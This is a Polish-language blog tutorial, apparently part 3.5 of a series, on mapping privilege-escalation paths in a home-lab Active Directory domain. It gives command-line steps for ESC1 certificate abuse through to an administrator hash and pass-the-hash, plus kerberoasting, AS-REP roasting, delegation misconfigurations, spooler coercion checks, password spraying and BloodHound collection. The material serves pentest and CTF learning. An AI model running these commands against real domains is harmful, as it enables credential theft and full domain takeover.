Active Directory — rekonesans i mapowanie ścieżek ataku Part 3.5

Kontynuujmy więc , w part 3 zobaczyliśmy, kto ma najwyzsze uprawnienia— tgwiazda. Ale zobaczmy problem: my jesteśmy pparkerem/fzamkiem. Zwykłym userem ktory ma administratora tylko na kliencie a nie na kontrolerze. Między nami a tgwiazdą jest duża róznica. I teraz kluczowe pytanie, na które enumeracja NIE odpowiada: czy da się wspiąc wyżej? A jeśli tak — to jak?

Bo w prawdziwej domenie zazwyczaj nie jest tak, że przejmujesz admina jednym ruchem. Zamiast tego jest dluga ściezka , przykładowo: pparker ma prawo do konta A, konto A może zresetować hasło kontu B, konto B jest w grupie, która ma prawo do tgwiazdy. Cztery ruchy które wyglądają pojedyńczo jak nic ważnego, ale połączone daje nam droge od słabego konta do najwazniejszego. I tego łańcucha nie widać, patrząc na pojedyncze konta — bo każde z osobna wygląda niegroźnie. Widać go dopiero, gdy zobaczysz wszystkie połączenia naraz, jako mapę. I do tego służy np. BloodHound.

Zanim jednak uruchomimy BloodHounda, zbierzemy dodatkowe dane. Bo BloodHound pokaże nam ścieżki oparte na uprawnieniach i grupach — ale niektóre drogi do admina domeny nie idą przez grupy, tylko przez źle skonfigurowane usługi, których graf nie zawsze złapie. Zacznijmy więc od namierzenia takich wektorów ręcznie — certyfikaty, delegacja, usługi — a potem złożymy to wszystko w całość na grafie BloodHounda.

Co to w ogóle jest ADCS i po co komu certyfikaty w domenie?

Wiemy ze istnieje protokół https i ma tez cos w stylu certyfikatów i on oznacza że "ta strona jest tym, za kogo się podaje" Certyfikaty to sposób, żeby udowodnić tożsamość bez podawania hasła, za pomocą kryptografii.

W firmowej sieci Windows certyfikaty przydają się do masy rzeczy: logowanie kartą chipową, szyfrowanie połączeń, VPN, podpisywanie maili, uwierzytelnianie komputerów. Żeby firma mogła sama wydawać takie certyfikaty swoim userom i maszynom (zamiast kupować je z zewnątrz), stawia się własną wewnętrzną „wytwórnię certyfikatów" — i to jest właśnie ADCS (Active Directory Certificate Services). To jest usługa, która działa na kontrolerze (albo osobnym serwerze) i pełni rolę wewnętrznego urzędu wydającego certyfikaty — po angielsku Certificate Authority (CA).

Pomyślcie: certyfikat to dowód tożsamości. A co, jeśli uda się przekonać CA, żeby wystawiła nam certyfikat mówiący „jesteś administratorem domeny" — mimo że jesteśmy zwykłym userem? Wtedy mamy cyfrowy dokument, którym możemy się uwierzytelnić jako admin, bez znajomości jego hasła. To jest właśnie istota ataków na ADCS: oszukać CA, żeby wystawiła nam przepustkę na cudze, wyższe konto.

I okazuje się, że przez lata ADCS był konfigurowany tak niedbale, że takich sposobów jest cała rodzina — badacze ponazywali je ESC1, ESC2, … ESC16 (ESC = Escalation, czyli eskalacja uprawnień). Każdy ESC to inny błąd konfiguracji, który pozwala wyłudzić za mocny certyfikat. To jest dziś jedna z najgorętszych dróg do przejęcia domeny — bo mało kto dobrze pilnuje ustawień CA, a skutek jest zabójczy: certyfikat na admina.

Sprawdzimy więc, czy nasz ADCS/CA jest źle skonfigurowany (CA, które postawiliśmy w part 2 przy okazji ataku mitm6). Narzędziem do tego jest Certipy.

certipy find -u fzamek@labolatorium.com -p 'Password!' -dc-ip 192.168.33.3 -stdout

Reszty outputu nie pokaże teraz bo juz ten screen nam pozwala ocenić czy jest podatne czy nie. I nie , na ten moment nie jest, czemu? Bo żeby dało się tu coś ugrać, szablon musiałby pozwalać zwykłemu userowi samemu wpisać, na kogo certyfikat jest wystawiony (to pole nazywa się SAN). Gdyby mógł — wpisałby „administrator" i dostał cert na admina.

Widać Enrollee Supplies Subject: False — czyli proszący o certyfikat nie może sam wpisać, na kogo jest wystawiony (dostanie cert tylko na siebie). Gdyby tu było True, mógłby poprosić „na administratora" — i to jest sedno ataku ESC1.

Widać też Web Enrollment: False — nie ma webowej strony do zamawiania certyfikatów. Gdyby była, otwierałaby osobną drogę ataku (ESC8) — ale skoro jej nie ma, ta ścieżka odpada.

Ale ten rodzaj podatności jest bardzo popularny więc zrobimy teraz sami podatny szablon i pokaże wam po czym wnioskować ze … jest podatny.

Czemu chce pokazac? Bo być moze traficie na pentescie albo ctfie na mysl "Moze sprawdzic adcs , ale jak zauwazyc ze jest vulnerable " No to wlasnie dziś podam jeden z przykladów .

Na kontrolerze otwórzcie konsolę szablonów — w Run (Win+R) wpiszcie:

certtmpl.msc

w tym cert templates console wybieracie z tej duzej listy co widac na tym screenie "User" najezdzacie na niego i prawy przycisk myszy duplicate template

I pojawi sie okno i mnóstwo zakladek , klikacie general i piszecie to samo co ja

• Zakładka General → Template display name: PodatnyESC1 (żeby łatwo go poznać)

• Zakładka Subject Name → „Supply in the request" (to jest sedno ESC1 — pozwalamy proszącemu samemu wpisać, na kogo cert). Wyskoczy ostrzeżenie o bezpieczeństwie → OK (o to właśnie chodzi, symulujemy błąd administratora AD)

• Zakładka Security → upewnijcie się, że Authenticated Users (albo Domain Users) mają zaznaczone Enroll. Jak nie ma Authenticated Users na liście → Add → wpisz Authenticated Users → Check Names → OK, potem zaznaczamy Enroll

• Apply (ten na dole po prawej)→ OK

Szablon gotowy wracamy do linuxa

… znowu mi sie ip DC zmienił

Wpiszcie w terminal (zmieniajac ip dc na swój ofc) :

certipy find -u fzamek@labolatorium.com -p 'Password!' -dc-ip 192.168.33.11

Tak wyrzuci wam sciane tekstu więc w nano albo catem poszukacie "podatnyesc1"

ajajaj zapomniałem włączyć szablon , juz naprawiam i wam pokaże jak

Win + r wpisujecie certsrv.msc

Wybieracie labolatorium-KONTROLER-CA zaznaczacie certificate template prawy przycisk na nim i new i powinno być "Certificate Template to Issue"

New → Certificate Template to Issue → PodatnyESC1

Zaznaczacie PodatnyESC1 i OK.

I znów w linuksie :

certipy find -u fzamek@labolatorium.com -p 'Password!' -dc-ip 192.168.33.11

Włączony!! Jak sprawdzamy czy template ma vulny ESC1 ?

Warunek

1. Opublikowany przez CAEnabled: True
2. Użytkownik może podać własny Subject/SANEnrollee Supplies Subject: True
3. Certyfikat nadaje się do logowaniaClient Authentication: True
4. Zwykły użytkownik może się zapisać np. Domain Users / Authenticated Users w Enrollment Rights

Dobra odpalamy egzbloit

(Atak zgarniamy admina Poprosimy o cert jako administrator)

certipy req -u fzamek@labolatorium.com -p 'Password!' -dc-ip 192.168.33.11 -ca labolatorium-KONTROLER-CA -template PodatnyESC1 -upn administrator@labolatorium.com

Uwierzytelnijmy się nim i zgarnijmy hash/TGT:

certipy auth -pfx administrator.pfx -dc-ip 192.168.33.11

bingo mamy hash

crackstation -> wklejamy druga polowe hasha czyli tylko "920ae267e048417fcfe00f49ecbd4b33"

BINGO!!!!! . Mozna jeszcze nxc smb 192.168.33.11 -u administrator -H '920ae267e048417fcfe00f49ecbd4b33' (pass the hash)

Pwn3d !

Pokazałem wam jak wykorzystać jeden z elementów ADCS ale przejdzmy dalej bo to part 3.5 a nie 4/5

Dobra szablon zrobiliśmy na pokaz ale co można innego zrobić ?

Wrocmy do poszukiwania kont do kerberoastingu .

Niektóre konta w domenie to konta usługowe — są to konta usług / komputerów, nie dla userów , tylko działają pod nimi usługi (bazy danych, aplikacje). Takie konto ma przypisany SPN (Service Principal Name — czyli „adres" usługi w Kerberosie, mówiący gdzie ona działa) SPN (Service Principal Name) to unikalny identyfikator usługi używany przez Kerberos do powiązania konkretnej usługi działającej na hoście z kontem AD, które jest jej tożsamością , Np: "MSSQLSvc/kontroler.labolatorium.com:1433" gdzie: MSSQLSvc → typ usługi,

kontroler.labolatorium.com → host, na którym usługa działa,

1433 → port,

cały SPN → identyfikuje konkretną usługę Kerberos. No i teraz ciekawe bo: każdy uwierzytelniony user (czyli np fzamek,pparker) może poprosić Kerberos o bilet do usługi posiadającej SPN. Część tego biletu jest zaszyfrowana kluczem związanym z kontem, do którego przypisano SPN.— Czyli prosimy o bilet, zapisujemy go, i próbujemy offline złamać hasło z tego biletu. Nie atakujemy usługi, nie potrzebujemy uprawnień admina — wystarczy zwykłe konto. To jest kerberoasting.

Dobra lecimy z poszukiwaniem

GetUserSPNs.py labolatorium.com/fzamek:'Password!' -dc-ip 192.168.33.11

(W poprzednim parcie stworzylismy specjalnie konto uslugowe na tą okazje)

Można tez odrazu zdobyc ten bilet dopisując -request na koniec polecenia.

Mamy bilet! ale łamanie w innym part ..

Czy da sie zrobić cos podobnego jesli nie mamy credentiali usera Da sie ale zalezy , Jest cos takiego jak AS-REP roasting, dotyczy kont dla których wyłączono Kerberos Pre-Authentication.

Sprawdzmy na sucho czy mamy takie konto

Znowu uzyjemy naszej krótkiej listy userów czyli users.txt

GetNPUsers.py labolatorium.com/ -usersfile users.txt -no-pass -dc-ip 192.168.33.11

Pusto i dobrze bo defaultowo zadne konto nie ma ustawione "DoesNotRequirePreAuth" ale na rzecz bloga można ustawić (Np dla pparkera).

Kontroler domeny -> powershell Set-ADAccountControl -Identity pparker -DoesNotRequirePreAuth $true

Gotowe i teraz ponawiamy tamta komende na linuksie

Mamy to! pokazało nam bilet.

Dobra dalej. Delegacje constrained unconstrained i Resource-Based Constrained Delegation

Co to jest wgl ?? Mozna to opisac w ten sposób: delegacja rozwiązuje pewien konkretny problem: usługa A musi wykonać coś w usłudze B w imieniu użytkownika, ale nie może znać jego hasła.

Przydatne (np. serwer WWW łączy się z bazą jako zalogowany user), ale źle skonfigurowane = atakujący podszywa się pod kogokolwiek, w tym admina.

Roznica między constrained a unconstrained :

Unconstrained — Maszyna z tą flagą może podszyć się pod użytkownika wobec DOWOLNEJ usługi w domenie.

Jak działa technicznie: gdy user uwierzytelnia się do takiej maszyny, jego pełny TGT (bilet, który daje dostęp do wszystkiego) zostaje zapisany w pamięci tej maszyny. Maszyna może potem użyć tego TGT, żeby podszyć się pod usera gdziekolwiek.

Czemu groźne dla atakującego : jak przejmiemy maszynę z unconstrained delegation i zmusimy kontroler domeny, żeby się do niej uwierzytelnił (np. przez PrinterBug/coercion (opisze w tym parcie o coercion/spooler spokojnie), to w pamięci maszyny ląduje TGT kontrolera domeny. Mamy TGT DC = mamy całą domenę.

Constrained — Konto może podszyć się pod usera, ale TYLKO wobec konkretnych, z góry wypisanych usług. Nie gdziekolwiek, tylko do konkretnych usług.

Resource-Based Constrained Delegation (RBCD) — to odwrotnie w porównaniu do tamtych dwoch gdyz to obiekt docelowy (usługa) mówi „ufam TEMU konkretnemu koncie, że może się pod kogoś podszywać wobec mnie". Kontrolę ma cel. Konfiguruje się to atrybutem msDS-AllowedToActOnBehalfOfOtherIdentity na obiekcie docelowym.

findDelegation.py labolatorium.com/fzamek:'Password!' -dc-ip 192.168.33.11

Wyskoczył KONTROLER$ z unconstrained delegation — ale to normalne, kontrolery domeny mają tę flagę domyślnie. Szukamy zwykłej maszyny albo konta usługowego z delegacją. Niestety defaultowo nie mamy ale na rzecz bloga zróbmy to.

Constrained: Kontroler domeny -> powershell I mam dwa komputery do wyboru

Wybieram klient22

Set-ADComputer -Identity KLIENT22 -Add @{'msDS-AllowedToDelegateTo'=@('CIFS/kontroler.labolatorium.com')}

CIFS = Common Internet File System. to jest protokół dostępu do plików po sieci czyli smb ale ze starą nazwą i wlasnie do tej uslugi pozwalamy komputer się delegować czyli constrained .

Następnie Flaga protocol transition (żeby atak był pełny):

Set-ADAccountControl -Identity KLIENT22$ -TrustedToAuthForDelegation $true Zaraz co to ta "flaga protocol transition"?? — bez tej flagi delegacja działa tylko, gdy ofiara faktycznie się zalogowała do tej maszyny. Z tą flagą maszyna może „poprosić Kerberos o bilet jako dowolny user" z własnej inicjatywy, bez udziału ofiary.

(uwaga na $ na końcu — konta komputerów mają $ w SamAccountName [ SamAccountName to techniczna nazwa logowania czyli np fzamek , pparker albo wlasnie KLIENT1$ KLIENT22$ czyli komputery] w 1 poleceniu nie dodałem $ bo Set-ADComputer juz konkretnie wyjasnia ze to ma być komputer a przy , Set-ADAccountControl musimy wskazać)

Mozna i przez gui przez server manager -> Active directory users and computers -> delegation

I znów findDelegation.py labolatorium.com/fzamek:'Password!' -dc-ip 192.168.33.11

Dziala!

I tu przepraszam bo celne oko zauważy że jest spn exists ustawione na NO I sam sie zastanawialem o co chodzi skoro klient jest podpięty do domeny , wiec sprawdziłem LDAPEM

ldapsearch -x -H ldap://192.168.33.11 -D "fzamek@labolatorium.com" -w 'Password!' -b "dc=labolatorium,dc=com" "(sAMAccountName=KLIENT22$)" servicePrincipalName

i ldap pokazuje ze jednak ma ten komputer spn ustawiony .

Więc wina narzędzia , dziś nie czas na grzebanie w source codzie findDelegation.py więc powiem wprost nie ufajcie ślepo jednej kolumnie w outpucie narzędzia. Jak coś wygląda dziwnie albo sprzecznie — sprawdźcie u źródła (LDAP "nie kłamie").

Był constrained to teraz zróbmy vulna na unconstrained, tu będzie łatwiej bo wystarczy jedna komenda.

Znów kontroler domeny -> powershell i :

Set-ADAccountControl -Identity KLIENT1$ -TrustedForDelegation $true

I tu jest róznica między TrustedForDelegation a TrustedToAuthForDelegation

TrustedforDelegation znaczy: "ta maszyna łapie i przechowuje pełne bilety userów, którzy się do niej logują, i może ich potem użyć gdziekolwiek"

TrustedToAuthForDelegation znaczy: maszyna może sama wygenerować bilet w imieniu dowolnego usera, bez jego udziału.

Dlaczego przy constrained dodałem Set-ADAccountControl -Identity KLIENT22$ -TrustedToAuthForDelegation $true a nie tylko Set-ADComputer -Identity KLIENT22$ -Add @{'msDS-AllowedToDelegateTo'=@('CIFS/kontroler.labolatorium.com')}

gdyz dodajac to maszyna moze wygenerować bilet w imieniu dowolnego usera z własnej inicjatywy, bez udziału ofiary. Atakujemy kogo chcemy, kiedy chcemy. a bez ? wtedy maszyna NIE może sama wygenerować biletu dowolnego usera. Może delegować tylko usera, który dostarczył jej ważny bilet w normalny sposób — czyli musi być prawdziwe uwierzytelnienie ofiary Samo ograniczenie do konkretnych usług robi atrybut (msDS-AllowedToDelegateTo) — te dwie rzeczy działają razem przy constrained.

I znów findDelegation.py labolatorium.com/fzamek:'Password!' -dc-ip 192.168.33.11

Znalazło ! KLIENT1$ unconstrained

Dobra z tych 3 został Resource-Based Constrained Delegation

Wiec ustawmy go

I tak jak mówilem

Tutaj mechanizm jest trochę inny. Przy unconstrained i klasycznej constrained delegation konfigurujemy przede wszystkim konto, które ma delegować. W RBCD decyzję podejmuje natomiast zasób docelowy.

Ustawmy z klienta1 na pparkera czyli znów kontroler i powershell

Set-ADComputer -Identity "KLIENT1$" -PrincipalsAllowedToDelegateToAccount "pparker"

I znów

findDelegation.py labolatorium.com/fzamek:'Password!' -dc-ip 192.168.33.11

Znalazło rbcd!

Dobra sciezki znamy został coercion spooler password spray i bloodhound

Najstarszy i najbardziej znany sposób coercion to PrinterBug — wykorzystuje usługę Print Spooler (drukowania) w Windows. Ma ona funkcję, przez którą można ją poprosić „powiadom mnie o zmianach w druku" — a przy tym maszyna z uruchomionym Spoolerem uwierzytelni się do wskazanego przez nas hosta. Czyli mówimy Spoolerowi kontrolera „powiadom mnie na moją maszynę", a on się do nas uwierzytelnia. I w ten sposób zdobywamy jego poświadczenia.

No to terminal i : :

nxc smb 192.168.33.11 -u fzamek -p 'Password!' -M spooler

Spójrzcie na to bo az mnie to zaskoczyło spooler jest domyślnie włączony na Windows Server, w tym na kontrolerach domeny. Czyli w przeciwieństwie do ADCS czy delegacji, gdzie musialismy celowo stworzyć podatność, tu wystarczy świeża instalacja. Rozumiecie? Pierwszy raz nic nie musielismy konfigurowac specjalnie zle i vuln istnieje ….

Teraz na szybko password spraying (zgadujemy które konto za pomocą wordlisty ma określone hasło)

nxc smb 192.168.33.11 -u users.txt -p 'Password!' --continue-on-success

o kurde … konto administratora domeny ma te hasło . Ciekawe

Dobra! Czas na wielki finał . Bloodhound!

Postanowiłem że użyjemy i bloodhound-python i adexplorer.

Dlaczego ? Gdyż bloodhound-python może i robi hałas przez sieć bo zapytania zazwyczaj lecą z komputera atakującego i to nie jedno zapytanie a ich mnóstwo, lecz adexplorer tez wspaniały nie jest i jednak zostawia logi na komputerze ze był , można kombinować z bezposrednim ładowaniem do pamięci też itd ale nadal coś zawsze zostawia no i potrzebujemy klienta/komputera domeny aby go odpalić a nie zawsze to mamy.

Zacznijmy od postawienia samej bazy bloodhounda / serwera na naszym linuksie , teraz jest łatwiej bo można przez dockera ktorego tez pokaze jak zainstalować .

BloodHound stawia się przez Docker Compose.

sudo apt update sudo apt install docker.io docker-compose-v2 -y

Dodajcie usera do grupy docker (żeby nie musieć sudo za każdym razem): sudo usermod -aG docker $USER ale ja to i tak wole po root robić to więc polecam sudo su odrazu zamiast z userem sie bawić.

Test, że Docker działa: docker run hello-world

Jak wyrzuci błąd o daemonie: sudo systemctl start docker sudo systemctl enable docker

Dobra teraz bloodhound

Pobierzcie oficjalny compose od SpecterOps:

curl -L https://ghst.ly/getbhce -o docker-compose.yml

Odpalcie go:

docker compose pull && docker compose up

Zostawcie terminal otwarty tam leci log. Szukajcie w nim linijki z hasłem startowym, coś w stylu: Initial Password Set To: <losowe_hasło>

Skopiujcie to hasło.

Logowanie: otwórzcie przeglądarkę → http://localhost:8080/ui/login

• User: admin
• Hasło: to z logów
• Każe zmienić przy pierwszym logowaniu

Działa!

Teraz czas na collector , najpierw bloodhound-python

Instalacja:

pipx install bloodhound

Sprawdzmy czy dziala: bloodhound-python --help

Odpalmy go :

bloodhound-python -u fzamek -p 'Password!' -d labolatorium.com -ns 192.168.33.11 -c All --zip

To dziwne utknal mi na probie uzyskania tgt , wina proby łączenia sie przez kerberos , spróbojmy ntlm

bloodhound-python -u fzamek -p 'Password!' -d labolatorium.com -ns 192.168.33.11 -c All --auth-method ntlm --zip

dobra to przeszlo! jak cos skan troche zajmie więc cierpliwości.

Finalnie udało sie ! Ale wyskoczył błąd , o co chodzi?

Collector próbował rozwiązać SID-y przez Global Catalog i połączyć się przez ipv6 . Ale to nie ma znaczenia bo i tak wystarczająco dużo znalazł

Teraz znajdzcie u siebie te pliki

pliki w 01:36 to zapewne początek skanu a w 01:39 skan sie zakonczył i dał zipa . wrzucie go do bloodhound -> quick upload

Idzie , uwazajcie bo na poczatku pokaze wam ze file information = 0 files ale to jest ingesting , nie wrzucajcie uploadu drugi raz jak ja …

a i dajcie troche czasu i nie zdziwcie sie jak komputer bedzie wam mocno szumił .

Gotowe teraz zobaczmy -> explore

Na poczatku pokaze wam pustke , to normalne wiec w search wpiszcie np pparker

pokaze wam mase informacji po prawej stronie

Kiedy rozwiniecie jedną z list pokaże wam grafy ściezki linie drogi , CZYLI TO o co nam chodziło przez cały ten part

Dobra najważniejsze. Droga od usera do admina domeny wejdzcie w pathfinding i wpiszcie na górze pparker a ciutke nizej tgwiazda

Czyli tak jak mówiłem RBCD + coercion spooler powoduje nam mozliwośc uzyskania konta tgwiazdy mając tylko pparkera tak o . Wystarczył tylko msDS-AllowedToActOnBehalfOfOtherIdentity i spooler defaultowo zainstalowany .. Dla potwierdzenia rbcd :

rbcd.py -delegate-to 'KLIENT1$' -dc-ip 192.168.33.11 -action read labolatorium.com/fzamek:'Password!'

I teraz inna sprawa czemu jak wpisuje fzamek zamiast pparkera to pokazuje path not found? Bo fzamek nie ma tego ustawionego.

Ciekawe otwierając liste abuse widzimy poradnik jak dany vuln wykorzystać

I patrzcie co się stało — BloodHound sam znalazł i połączył to, co ja składałem ręcznie przez cały ten part. Spooler (namierzyłem osobno), unconstrained na KLIENT1 (nadałem osobno), RBCD na pparkera (osobno)a graf pokazał, że razem tworzą drogę z pparkera do admina. To jest wartość tego narzędzia.

Czas na adexplorer

Pobierzcie na linuksie : https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer

tam bedzie

Kliknijcie

rozpakujcie i bedziecie miec adexplorer.exe , wrzuccie exe przez smb (Wejdzcie w terminalu najpierw do folderu gdzie macie te exe) :

smbclient //192.168.33.11/wlamsie -U 'labolatorium.com\fzamek%Password!'

Oraz put ADExplorer.exe

I otwierając komputer klienta domeny albo przez winrm rdp itd odpalamy to. explorator plików -> \192.168.33.11\wlamsie

Uruchamiamy

Zaznaczacie agree i pojawi sie prosba o połączenie z bazą AD

wpisujecie to co ja

I teraz file -> create snapshot

Ja zaznaczyłem aby zapisało juz na SMB .

I gotowe SAVE oraz → OK

Znów terminal: smbclient //192.168.33.11/wlamsie -U 'labolatorium.com\fzamek%Password!' i w nim: get daneblodhound.dat

gotowe teraz exit i czas na konwersje , najpierw instalacja konwertera: git clone https://github.com/c3c/ADExplorerSnapshot.py.git cd ADExplorerSnapshot.py pipx install .

uwaga pipx install . wpiszcie ręcznie , jakis problem z twardą spacją ma to

Gotowe teraz wrocmy tam gdzie mamy ten plik .dat

I: ADExplorerSnapshot.py daneblodhound.dat -o folderwyjsciowy

Znowu musimy konwersje zrobic (Chyba zbyt nowy plik)

Zainstalujcie BOFHound: pipx install bofhound

I: bofhound -i /waszfolder/kontroler.labolatorium.com_1790472560_bofhound.log -o /waszfolder/bh_adexplorer --zip

Zip gotowy!!

To by było chyba na tyle, zipa możecie uploadować na bloodhound i wyjdzie mniejsza lista , taki kompromis.

No i tyle, to koniec part 3.5. Zróbmy szybkie podsumowanie tego co zrobilismy

Zaczęło sie od pytania Czy da się mając tylko konto usera domeny dotrzeć do konta admina?? No i mamy odpowiedź. Ręcznie namierzyliśmy wektory — ADCS (i pokazałem ESC1 od zera do hasha admina), konta do kerberoastingu, AS-REP, delegacje (constrained, unconstrained, RBCD), coercion przez spooler i password spraying. No i też BloodHounda, który połączył pewne rzeczy i pokazał realną ścieżkę: pparker przez RBCD na KLIENT1 + spooler = droga do przejęcia domeny.

I to sedno tego parta , z małego konta , z małych vulnów jeden wielki chain do admina

Dzis koniec , w part 4 zaczniemy realne ataki

W kolejnych częściach zaczniemy w pełny wykorzystywać vulny. A bedzie tego troche: łamanie hashy z kerberoastingu, przejście RBCD, wykorzystanie delegacji i coercion, DCSync, Golden Ticket… i tak mógłbym wymieniać bo naprawdę będzie ostro!!! .

Dziękuje serdecznie za przeczytanie tego part . Pozdrawiam